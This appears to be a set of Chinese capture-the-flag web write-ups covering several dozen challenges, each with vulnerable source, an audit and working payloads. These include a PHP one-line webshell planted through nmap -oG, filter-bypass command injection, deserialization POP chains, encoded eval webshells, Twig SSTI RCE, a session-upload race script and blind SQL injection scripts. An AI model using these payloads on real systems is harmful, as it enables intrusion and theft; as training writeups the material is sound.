-F:快速扫描模式(扫描少量端口)
payload
1 ?host=' <?php @eval ($_POST ["hack" ]);?> -oG hack.php '
nmap有一个参数-oG可以实现将命令和结果写到文件, 将一句话木马写入hack.php文件中,相当于传入一个木马文件,转义后的字符串在Bash中解析时,PHP代码部分会被当作普通参数传递给nmap,nmap的-oG选项允许将结果输出到文件,结合PHP标签可以创建webshell
访问e6305cd14dbe6e1fc4041d81cb3fc9ee/hack.php然后蚁剑连接
[NewStarCTF 公开赛赛道]So Baby RCE(将转义字符和/过滤) 1 2 3 4 5 6 7 8 9 10 11 <?php error_reporting (0 );if (isset ($_GET ["cmd" ])){ if (preg_match ('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i' ,$_GET ["cmd" ])){ echo "Don't Hack Me" ; }else { system ($_GET ["cmd" ]); } }else { show_source (__FILE__ ); }
payload
1 cd$IFS..%26%26cd$IFS..%26%26cd$IFS..%26%26cd$IFS..%26%26c$!at${IFS}ffff$@llllaaaaggggg
忘了写名字了 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 <?php error_reporting (0 );highlight_file (__FILE__ );class Start { public $name ; protected $func ; public function __destruct ( ) { echo "Welcome to NewStarCTF, " .$this ->name; } public function __isset ($var ) { ($this ->func)(); } }class Sec { private $obj ; private $var ; public function __toString ( ) { $this ->obj->check ($this ->var ); return "CTFers" ; } public function __invoke ( ) { echo file_get_contents ('/flag' ); } }class Easy { public $cla ; public function __call ($fun , $var ) { $this ->cla = clone $var [0 ]; } }class eeee { public $obj ; public function __clone ( ) { if (isset ($this ->obj->cmd)){ echo "success" ; } } }if (isset ($_POST ['pop' ])){ unserialize ($_POST ['pop' ]); }public function __invoke ( ) { echo file_get_contents ('/flag' ); }
利用点,__invoke()当作函数时可触发
1 2 3 4 public function __isset ($var ) { ($this ->func)(); }
作为函数,__isset($var)调用一个不存在的属性时触发
1 2 3 4 5 public function __clone ( ) { if (isset ($this ->obj->cmd)){ echo "success" ; }
调用了不存在的属性cmd,__clone()clone一个对象时触发
1 2 3 4 public function __call ($fun , $var ) { $this ->cla = clone $var [0 ]; }
clone $var[0];clone了一个对象,__call()调用一个不存在的方法时触发
1 2 3 4 5 public function __toString ( ) { $this ->obj->check ($this ->var ); return "CTFers" ; }
调用了不存在的方法check,__toString()把对象当作字符串时触发
1 2 3 4 public function __destruct ( ) { echo "Welcome to NewStarCTF, " .$this ->name; }
把对象当作字符串
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 <?php error_reporting (0 );class Start { public $name ; protected $func ; public function __destruct ( ) { echo "Welcome to NewStarCTF, " .$this ->name; } public function __isset ($var ) { ($this ->func)(); } public function __construct ($func ) { $this ->func = $func ; } }class Sec { private $obj ; private $var ; public function __toString ( ) { $this ->obj->check ($this ->var ); return "CTFers" ; } public function __invoke ( ) { echo file_get_contents ('/flag' ); } public function __construct ($obj ,$var ) { $this ->obj = $obj ; $this ->var = $var ; } }class Easy { public $cla ; public function __call ($fun , $var ) { $this ->cla = clone $var [0 ]; } }class eeee { public $obj ; public function __clone ( ) { if (isset ($this ->obj->cmd)){ echo "success" ; } } }$Sec = new Sec ('1' ,'2' );$Start = new Start ($Sec );$eeee = new eeee ();$eeee ->obj=$Start ;$Easy = new Easy ();$Sec1 = new Sec ($Easy ,$eeee );$Start1 = new Start ('1' );$Start1 ->name=$Sec1 ;echo urlencode (serialize ($Start1 ));
[MRCTF2020]Ezpop 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php class Modifier { protected $var ; public function append ($value ) { include ($value ); } public function __invoke ( ) { $this ->append ($this ->var ); } }class Show { public $source ; public $str ; public function __construct ($file ='index.php' ) { $this ->source = $file ; echo 'Welcome to ' .$this ->source."<br>" ; } public function __toString ( ) { return $this ->str->source; } public function __wakeup ( ) { if (preg_match ("/gopher|http|file|ftp|https|dict|\.\./i" , $this ->source)) { echo "hacker" ; $this ->source = "index.php" ; } } }class Test { public $p ; public function __construct ( ) { $this ->p = array (); } public function __get ($key ) { $function = $this ->p; return $function (); } }if (isset ($_GET ['pop' ])){ @unserialize ($_GET ['pop' ]); }else { $a =new Show ; highlight_file (__FILE__ ); }
代码审计
1 2 3 public function append ($value ) { include ($value ); }
利用点,触发append(),执行include($value);实现任意文件读取
1 2 3 public function __invoke ( ) { $this ->append ($this ->var ); }
触发__invoke()执行append(),传入的参数$this->var会被用作任意文件读取
__invoke()将对象调用作函数时触发
1 2 3 4 public function __get ($key ) { $function = $this ->p; return $function (); }
触发__get()将传入的p作为函数调用触发__invoke()
__get()需调用对象中不存在的属性触发
1 2 3 public function __toString ( ) { return $this ->str->source; }
利用__toString()方法,将$this->str的值赋为Test的对象,触发__get()
__toString()嘉能对象当作字符串时触发
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php error_reporting (0 );class Modifier { protected $var ="php://filter/read=convert.base64-encode/resource=flag.php" ; }class Show { public $source ; public $str ; }class Test { public $p ; }$Modifier =new Modifier ();$Test =new Test ();$Test ->p=$Modifier ;$Show =new Show ();$Show ->source =$Show ;$Show -> str=$Test ;echo urlencode (serialize ($Show ));
然后进行base64解码得到flag
[极客大挑战 2019]RCE ME 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php error_reporting (0 );if (isset ($_GET ['code' ])){ $code =$_GET ['code' ]; if (strlen ($code )>40 ){ die ("This is too Long." ); } if (preg_match ("/[A-Za-z0-9]+/" ,$code )){ die ("NO." ); } @eval ($code ); }else { highlight_file (__FILE__ ); }
代码审计
这里限制了长度,过滤了字母数字,想到可以用取反异或这些
解题步骤
先看一下禁用函数,将phpinfo取反
1 ?code=(~%8F%97%8F%96%91%99%90)();
常见的好像都被ban了
利用asseert构造脚本
1 2 3 4 5 6 7 8 9 10 <?php error_reporting (0 );$a ='assert' ;$b =urlencode (~$a );echo $b ;echo "<br>" ;$c ='(eval($_POST[cmd]))' ;$d =urlencode (~$c );echo $d ;?>
拼接构造payload:assert(eval($_POST[cmd]))
1 ?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);
连接蚁剑
看到了flag文件但是空的,又有readflag就想到可能设置了权限,需要绕过
利用蚁剑中的插件绕过
然后点击开始,直接执行/readflag命令即可获得flag
[De1CTF 2019]SSRF Me 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 from flask import Flaskfrom flask import requestimport socketimport hashlibimport urllibimport sysimport osimport json reload(sys) sys.setdefaultencoding('latin1' ) app = Flask(__name__) secert_key = os.urandom(16 )class Task : def __init__ (self, action, param, sign, ip ): self .action = action self .param = param self .sign = sign self .sandbox = md5(ip) if (not os.path.exists(self .sandbox)): os.mkdir(self .sandbox) def Exec (self ): result = {} result['code' ] = 500 if (self .checkSign()): if "scan" in self .action: tmpfile = open ("./%s/result.txt" % self .sandbox, 'w' ) resp = scan(self .param) if (resp == "Connection Timeout" ): result['data' ] = resp else : print resp tmpfile.write(resp) tmpfile.close() result['code' ] = 200 if "read" in self .action: f = open ("./%s/result.txt" % self .sandbox, 'r' ) result['code' ] = 200 result['data' ] = f.read() if result['code' ] == 500 : result['data' ] = "Action Error" else : result['code' ] = 500 result['msg' ] = "Sign Error" return result def checkSign (self ): if (getSign(self .action, self .param) == self .sign): return True else : return False @app.route("/geneSign" , methods=['GET' , 'POST' ] ) def geneSign (): param = urllib.unquote(request.args.get("param" , "" )) action = "scan" return getSign(action, param)@app.route('/De1ta' ,methods=['GET' ,'POST' ] ) def challenge (): action = urllib.unquote(request.cookies.get("action" )) param = urllib.unquote(request.args.get("param" , "" )) sign = urllib.unquote(request.cookies.get("sign" )) ip = request.remote_addr if (waf(param)): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec()) @app.route('/' ) def index (): return open ("code.txt" ,"r" ).read()def scan (param ): socket.setdefaulttimeout(1 ) try : return urllib.urlopen(param).read()[:50 ] except : return "Connection Timeout" def getSign (action, param ): return hashlib.md5(secert_key + param + action).hexdigest()def md5 (content ): return hashlib.md5(content).hexdigest()def waf (param ): check=param.strip().lower() if check.startswith("gopher" ) or check.startswith("file" ): return True else : return False if __name__ == '__main__' : app.debug = False app.run(host='0.0.0.0' ,port=9999 )
一个flask框架
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 @app.route("/geneSign" , methods=['GET' , 'POST' ] ) def geneSign (): param = urllib.unquote(request.args.get("param" , "" )) action = "scan" return getSign(action, param)@app.route('/De1ta' ,methods=['GET' ,'POST' ] ) def challenge (): action = urllib.unquote(request.cookies.get("action" )) param = urllib.unquote(request.args.get("param" , "" )) sign = urllib.unquote(request.cookies.get("sign" )) ip = request.remote_addr if (waf(param)): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec())
/geneSign和/De1ta分别绑定不同函数,具有不同的功能
需要绕过self.checkSign()
需要满足 getSign(self.action, self.param) == self.sign (sign即cookie值)
就需要 hashlib.md5(secert_key + param + action).hexdigest() == self.sign
也就是hashlib.md5(secert_key + ‘flag.txt’ + ‘readscan’).hexdigest() == self.sign
即我们需要得到**secert_key + ‘flag.txtreadscan’**的哈希值
1 2 3 4 5 @app.route("/geneSign" , methods=['GET' , 'POST' ] ) def geneSign (): param = urllib.unquote(request.args.get("param" , "" )) action = "scan" return getSign(action, param)
我们可以通过上面截取的源码中/geneSign,来返回我们所需要的编码之后的哈希值
在/geneSign中将action定为scan,所以我们传入的param可以为flag.txtread这样依旧可以拼接为secert_key + ‘flag.txtreadscan’
payload1
1 /geneSign?param=flag.txtread
返回哈希值
62a40ef7cb1705cdde48e274b32b9053
payload2
bp抓包,修改cookie值
sign的参数值为第一次payload返回的哈希值
[BJDCTF2020]EasySearch 用dirsearch扫描目录,扫到了/index.php.swp,访问看到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php ob_start(); function get_hash(){ $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-' ; $random = $chars[mt_rand(0 ,73 )].$chars[mt_rand(0 ,73 )].$chars[mt_rand(0 ,73 )].$chars[mt_rand(0 ,73 )].$chars[mt_rand(0 ,73 )];//Random 5 times $content = uniqid().$random; return sha1($content); } header("Content-Type: text/html;charset=utf-8" ); if (isset($_POST['username' ]) and $_POST['username' ] != '' ) { $admin = '6d0bc1' ; if ( $admin == substr(md5($_POST['password' ]),0 ,6 )) { echo "<script>alert('[+] Welcome to manage system')</script>" ; $file_shtml = "public/" .get_hash().".shtml" ; $shtml = fopen($file_shtml, "w" ) or die("Unable to open file!" ); $text = ' *** *** <h1>Hello,' .$_POST['username' ].'</h1> *** ***' ; fwrite($shtml,$text); fclose($shtml); *** echo "[!] Header error ..." ; } else { echo "<script>alert('[!] Failed')</script>" ; }else { *** } *** ?>
代码审计
1 $admin == substr(md5($_POST['password' ]),0 ,6
password的md5加密后前六位要与6d0bc1相同
用脚本运行一下
1 2 3 4 5 6 import hashlibfor i in range (1000000000 ): md5 = hashlib.md5(str (i).encode('utf-8' )).hexdigest() if md5[0 :6 ] == '6d0bc1' : print (str (i)+' | ' +md5)
构造payload
1 username =1 &password=2020666
获取url,访问页面
这里考到了SSI注入(之前完全没听说过
**补充一下什么是SSI注入 SSI注入:服务端包含注入,可以赋予heml静态页面的动态效果,通过SSI执行命令,返回对应的结果,当在网站目录中发现了.stm .shtm .shtml或在页面中发现了
1 2 3 <div > {$what}</div > <p > Welcome, {{username}}</p > <div > {%$a%}</div >
就容易产生SSI注入
这道题的url:public/008983a0140ea903583f643e1630eb5fbce59e11.shtml
最后存在shtml,则猜测有SSI注入
这里的注入格式为:
在可控参数用户名处输入可执行命令
payload(注:这里要在bp里面做)
1 username=&password=2020666
访问url
得到flag文件名
payload
1 username=&password=2020666
访问url得到flag
[CISCN 2019 初赛]Love Math 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting (0 );if (!isset ($_GET ['c' ])){ show_source (__FILE__ ); }else { $content = $_GET ['c' ]; if (strlen ($content ) >= 80 ) { die ("太长了不会算" ); } $blacklist = [' ' , '\t' , '\r' , '\n' ,'\'' , '"' , '`' , '\[' , '\]' ]; foreach ($blacklist as $blackitem ) { if (preg_match ('/' . $blackitem . '/m' , $content )) { die ("请不要输入奇奇怪怪的字符" ); } } $whitelist = ['abs' , 'acos' , 'acosh' , 'asin' , 'asinh' , 'atan2' , 'atan' , 'atanh' , 'base_convert' , 'bindec' , 'ceil' , 'cos' , 'cosh' , 'decbin' , 'dechex' , 'decoct' , 'deg2rad' , 'exp' , 'expm1' , 'floor' , 'fmod' , 'getrandmax' , 'hexdec' , 'hypot' , 'is_finite' , 'is_infinite' , 'is_nan' , 'lcg_value' , 'log10' , 'log1p' , 'log' , 'max' , 'min' , 'mt_getrandmax' , 'mt_rand' , 'mt_srand' , 'octdec' , 'pi' , 'pow' , 'rad2deg' , 'rand' , 'round' , 'sin' , 'sinh' , 'sqrt' , 'srand' , 'tan' , 'tanh' ]; preg_match_all ('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/' , $content , $used_funcs ); foreach ($used_funcs [0 ] as $func ) { if (!in_array ($func , $whitelist )) { die ("请不要输入奇奇怪怪的函数" ); } } eval ('echo ' .$content .';' ); }
代码审计
1 $whitelist = ['abs' , 'acos' , 'acosh' , 'asin' , 'asinh' , 'atan2' , 'atan' , 'atanh' , 'base_convert' , 'bindec' , 'ceil' , 'cos' , 'cosh' , 'decbin' , 'dechex' , 'decoct' , 'deg2rad' , 'exp' , 'expm1' , 'floor' , 'fmod' , 'getrandmax' , 'hexdec' , 'hypot' , 'is_finite' , 'is_infinite' , 'is_nan' , 'lcg_value' , 'log10' , 'log1p' , 'log' , 'max' , 'min' , 'mt_getrandmax' , 'mt_rand' , 'mt_srand' , 'octdec' , 'pi' , 'pow' , 'rad2deg' , 'rand' , 'round' , 'sin' , 'sinh' , 'sqrt' , 'srand' , 'tan' , 'tanh' ];
给出了白名单,仅允许使用PHP数学函数
可以利用白名单中的进制转换函数 (base_convert/hexdec/dechex/decbin等)
1 2 3 if (strlen ($content ) >= 80 ) { die ("太长了不会算" ); }
有长度限制
这里需要用到PHP动态调用函数值,GET传参的外部赋值以及PHP数学函数的运用
构造原始payload
1 $p =(_GET[p1 ])(_GET[p2 ]);($ $p {p1})($ $p {p2})&p1=system&p2=ls ;
但需要利用数学函数进行一些进制转换
最终payload
1 $pi =base_convert(37907361743 ,10 ,36 )(dechex(1598506324 ));($$pi {pi })($$pi {pow })&pi =system&pow =ls
base_convert(37907361743,10,36)表示system
(dechex(1598506324))表示_GET
system(_GET)无实际执行意义,PHP会将表达式结果(字符串_GET)赋值给$pi,最终表示的是$pi=”_GET”
($$pi{pi})($$pi{pow})等价于_GET{pi}(PHP中{}和[]取值完全等效)
然后就是结合GET传参 $_GET{pi}=system,$_GET{pow}=ls
1 ?c=$ pi =base_convert(37907361743 ,10 ,36 )(dechex(1598506324 ));($ $ pi {pi })($ $ pi {pow})&pi =system &pow=ls$ IFS/
1 ?c=$ pi =base_convert(37907361743 ,10 ,36 )(dechex(1598506324 ));($ $ pi {pi })($ $ pi {pow})&pi =system &pow=nl$ IFS/flag
[BJDCTF2020]Cookie is so stable 这里查看配置和cookie
可以在其中看到PHP版本
测试了49发现存在SSTI模板注入
因为是PHP版本,所以可以尝试Twig模板注入
1 user= {{_self.env.registerUndefinedFilterCallback ("system" )}} {{_self.env.getFilter ("ls /" )}}
[网鼎杯 2018]Fakebook 一开始有登录和join选择,一开始看了登陆界面,尝试了万能密码,字典爆破都没用,然后看了join界面,也都尝试了没反应,就想试试爬虫协议(但是wp里说这个是可以目录扫描扫出来的,但我又没扫出来。。。)
看到了源码,是一道反序列化的题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php class UserInfo { public $name = "" ; public $age = 0 ; public $blog = "" ; public function __construct ($name , $age , $blog ) { $this ->name = $name ; $this ->age = (int )$age ; $this ->blog = $blog ; } function get ($url ) { $ch = curl_init (); curl_setopt ($ch , CURLOPT_URL, $url ); curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 ); $output = curl_exec ($ch ); $httpCode = curl_getinfo ($ch , CURLINFO_HTTP_CODE); if ($httpCode == 404 ) { return 404 ; } curl_close ($ch ); return $output ; } public function getBlogContents ( ) { return $this ->get ($this ->blog); } public function isValidBlog ( ) { $blog = $this ->blog; return preg_match ("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i" , $blog ); } }
代码审计
1 $output = curl_exec ($ch );
function get中用了curl_exec(),可能存在SSRF漏洞
1 2 3 4 5 public function isValidBlog ( ) { $blog = $this ->blog; return preg_match ("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i" , $blog ); }
正则匹配是url,可知 blog的参数必须为url
[NPUCTF2020]ezinclude
查看源码看到提示是md5,参数是name和pass,bp抓包
看到Cookie中存在hash值,先尝试传参name=1
再传参pass,把这个hash值作为值
看到题目描述为include,尝试利用伪协议发现filter、data、input这些都不能用,日志文件包含需要服务器是Nginx所以也不能用,最后就剩session文件包含
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import ioimport requestsimport threading target_url = "http://e8451baf-2c21-4349-9b8a-c2d43398e0af.node5.buuoj.cn:81/flflflflag.php" sessid = 'exp' def write (session ): while True : f = io.BytesIO(b'a' * 1024 * 50 ) resp = session.post( target_url, data={'PHP_SESSION_UPLOAD_PROGRESS' : '<?php phpinfo();?>' }, files={'file' : ('test.txt' , f)}, cookies={'PHPSESSID' : sessid} )def read (session ): while True : resp = session.post( target_url+ '?file=/tmp/sess_' + sessid, ) if 'test.txt' in resp.text: print (resp.text) event.clear() else : print ("[+++++++++++++]retry" )if __name__ == "__main__" : event = threading.Event() with requests.session() as session: for i in range (1 , 30 ): threading.Thread(target=write, args=(session,)).start() for i in range (1 , 30 ): threading.Thread(target=read, args=(session,)).start() event.set ()
执行成功
[GWCTF 2019]枯燥的抽奖
这里考的是伪随机数,已知了前十位 vpy8bxfY07,利用脚本将它变成php_mt_seed工具可识别的
脚本
1 2 3 4 5 6 7 8 9 10 str1 = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' str2 = 'vpy8bxfY07' length = len (str2) res='' for i in range (len (str2)): for j in range (len (str1)): if str2[i] == str1[j]: res+=str (j)+' ' +str (j)+' ' +'0' +' ' +str (len (str1)-1 )+' ' break print (res)
再利用php_mt_seed工具对种子进行爆破
1 time ./php_mt_seed 21 21 0 61 15 15 0 61 24 24 0 61 34 34 0 61 1 1 0 61 23 23 0 61 5 5 0 61 60 60 0 61 26 26 0 61 33 33 0 61
爆破成功后要注意php版本,这里可以利用小皮,它可以修改php版本,然后利用脚本运行
1 2 3 4 5 6 7 8 9 10 <?php mt_srand(333044964 );//爆破出的种子 $str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" ; $str ='' ; $len1=20 ;//需根据题目进行修改for ( $i = 0 ; $i < $len1; $i++ ){ $str .=substr($str_long1, mt_rand(0 , strlen($str_long1) - 1 ), 1 ); } echo $str ; ?>
运行结果
[CISCN2019 华北赛区 Day2 Web1]Hack World 输入union联合注入语句,布尔值返回为false,可能union被过滤,同样输入空格也被过滤,只有输入1,2有回显,可以判断可能是布尔盲注
已经给出表名和字段名
bp抓包
payload
1 id=if((ascii(substr((select(flag)from(flag)),1,1))=102),sleep(3),1)
这里有延迟回显,接下来测试是否是时间盲注
回显了hello……并没有延迟,那么时间盲注可以尝试
用脚本爆破
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import requestsimport time url='http://028d683f-3868-4642-b703-3cbe1a6fac27.node5.buuoj.cn:81/index.php' flag = '' for i in range (1 ,43 ): max = 127 min = 0 for c in range (0 ,127 ): n = (int )((max +min )/2 ) payload = '0^(ascii(substr((select(flag)from(flag)),' +str (i)+',1))>' +str (n)+')' r = requests.post(url,data = {'id' :payload}) time.sleep(0.005 ) if 'Hello' in str (r.content): min =n else : max =n if ((max -min )<=1 ): flag+=chr (max ) print ("\r" , end="" ) print (flag,end='' ) break
[GXYCTF2019]禁止套娃
什么都没有,就要信息收集,想到有可能是git泄露
1 python3 GitHack.py http://1ba0ff10-6781 -4a48-b2f8-7c5d8a56d057.node5.buuoj.cn:81 /.git/
考的是无参RCE
payload
1 ?exp=highlight_file(next (array_reverse(scandir(pos(localeconv())))));
[WUSTCTF2020]朴实无华
看到标签有一个rot就想到爬虫试一下
但是只有fakeflag的文件
bp抓包访问发现了/fl4g.php
修改编码方式能看到中文
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php header ('Content-type:text/html;charset=utf-8' );error_reporting (0 );highlight_file (__file__);if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if (intval ($num ) < 2020 && intval ($num + 1 ) > 2021 ){ echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>" ; }else { die ("金钱解决不了穷人的本质问题" ); } }else { die ("去非洲吧" ); }if (isset ($_GET ['md5' ])){ $md5 =$_GET ['md5' ]; if ($md5 ==md5 ($md5 )) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>" ; else die ("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲" ); }else { die ("去非洲吧" ); }if (isset ($_GET ['get_flag' ])){ $get_flag = $_GET ['get_flag' ]; if (!strstr ($get_flag ," " )){ $get_flag = str_ireplace ("cat" , "wctf2020" , $get_flag ); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>" ; system ($get_flag ); }else { die ("快到非洲了" ); } }else { die ("去非洲吧" ); }?>
代码审计
1 if (intval ($num ) < 2020 && intval ($num + 1 ) > 2021 )
num要取小于2020且+1大于大于2021的,这个之前遇到过就想到用科学计数法绕过
1 2 3 4 num=12e3 if (isset ($_GET ['md5' ])){ $md5 =$_GET ['md5' ]; if ($md5 ==md5 ($md5 ))
要求输入的值与它的MD5值相同
前面的都绕过之后,执行命令
payload
1 ?num=12e3 &md5=0e215962017 &get_flag=ls
用cat fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag发现没有回显flag,想到可能有过滤
payload
1 ?num=3e4 &md5=0e215962017 &get_flag=more$IFS$9 fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
返回了0,有点像XXE,在请求头前面添加xml语言测试发现就是XXE
直接读flag
[WesternCTF2018]shrine 看到源码
1 2 3 4 5 6 7 8 import flaskimport os app = flask.Flask(__name__) app.config['FLAG' ] = os.environ.pop('FLAG' )@app.route('/' ) def index(): return open(__file__ ).read() @app.route('/shrine/' ) def shrine(shrine ): def safe_jinja (s ): s = s.replace('(' , '' ).replace(')' , '' ) blacklist = ['config' , 'self' ] return '' .join(['{{% set {}=None%}}' .format (c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__' : app.run(debug=True )
这里推测flag在名为FLAG的config中,但是这里有黑名单过滤了config
存在config的函数只有url_for和get_flashed_messages
payload
1 /shrine/{{url_for.__globals__}
查看全局变量,其中找到了current.app
payload
1 /shrine/{{url_for.__globals__['current_app' ].config}}
[安洵杯 2019]easy_web
发现参数中img有对应的值像编码,通过两次base64解码和一次hex解码得到
尝试读取源码
将编码的index.php
传参给img,查看源码,将编码的文字解码得到源码
+++
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?phperror_reporting (E_ALL || ~ E_NOTICE) ; header('content-type:text/html;charset=utf-8' ); $cmd = $_GET['cmd' ];if (!isset($_GET['img' ]) || !isset($_GET['cmd' ])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=' ); $file = hex2bin(base64_decode(base64_decode($_GET['img' ]))); $file = preg_replace("/[^a-zA-Z0-9.]+/" , "" , $file);if (preg_match("/flag/i" , $file)) { echo '<img src ="./ctf3.jpeg">' ; die("xixiï½ no flag" ); } else { $txt = base64_encode(file_get_contents($file)); echo "<img src='data:image/gif;base64," . $txt . "'></img>" ; echo "<br>" ; } echo $cmd; echo "<br>" ;if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i" , $cmd)) { echo("forbid ~" ); echo "<br>" ; } else { if ((string )$_POST['a' ] !== (string )$_POST['b' ] && md5($_POST['a' ]) === md5($_POST['b' ])) { echo `$cmd`; } else { echo ("md5 is funny ~" ); } } ?> <html> <style> body{ background:url(./bj.png) no-repeat center center; background-size:cover; background-attachment:fixed; background-color:#CCCCCC; } </style> <body> </body> </html>
分析
1 2 if ((string )$_POST['a' ] !== (string )$_POST['b' ] && md5($_POST['a' ]) === md5($_POST['b' ])) { echo `$cmd`;
MD5强比较,如果传入的是数组结果就都转换成array了,所以不能数组绕过,让两个值MD5加密后相同
payload
1 2 3 ?img=&cmd=l\s%20 / a=M%C9h%FF%0 E%E3%5 C%20 %95 r%D4w%7B r%15 %87 %D3o%A7%B2%1B %DCV%B7J%3 D%C0x%3 E%7B %95 %18 %AF%BF%A2%00 %A8%28 K%F3n%8 EKU%B3_Bu%93 %D8Igm%A0%D1U%5 D%83 %60 %FB_%07 %FE%A2&b=M%C9h%FF%0 E%E3%5 C%20 %95 r%D4w%7B r%15 %87 %D3o%A7%B2%1B %DCV%B7J%3 D%C0x%3 E%7B %95 %18 %AF%BF%A2%02 %A8%28 K%F3n%8 EKU%B3_Bu%93 %D8Igm%A0%D1%D5%5 D%83 %60 %FB_%07 %FE%A2
payload
[BSidesCF 2019]Kookie
尝试密码登录,利用弱口令爆破没有用,就想到题目描述是cookie,利用cookie登录
[安洵杯 2019]easy_serialize_php 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php $function = @$_GET ['f' ];function filter ($img ) { $filter_arr = array ('php' ,'flag' ,'php5' ,'php4' ,'fl1g' ); $filter = '/' .implode ('|' ,$filter_arr ).'/i' ; return preg_replace ($filter ,'' ,$img ); }if ($_SESSION ){ unset ($_SESSION ); }$_SESSION ["user" ] = 'guest' ;$_SESSION ['function' ] = $function ;extract ($_POST );if (!$function ){ echo '<a href="index.php?f=highlight_file">source_code</a>' ; }if (!$_GET ['img_path' ]){ $_SESSION ['img' ] = base64_encode ('guest_img.png' ); }else { $_SESSION ['img' ] = sha1 (base64_encode ($_GET ['img_path' ])); }$serialize_info = filter (serialize ($_SESSION ));if ($function == 'highlight_file' ){ highlight_file ('index.php' ); }else if ($function == 'phpinfo' ){ eval ('phpinfo();' ); }else if ($function == 'show_image' ){ $userinfo = unserialize ($serialize_info ); echo file_get_contents (base64_decode ($userinfo ['img' ])); }
根据提示查看phpinfo,得到了flag所在的d0g3_f1ag.php,base64编码ZDBnM19mMWFnLnBocA==
代码审计
1 echo file_get_contents (base64_decode ($userinfo ['img' ]))
可以进行任意文件读取
GET传参payload
POST传参构造payload
1 _SESSION['flagflag']=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
更改POST传参
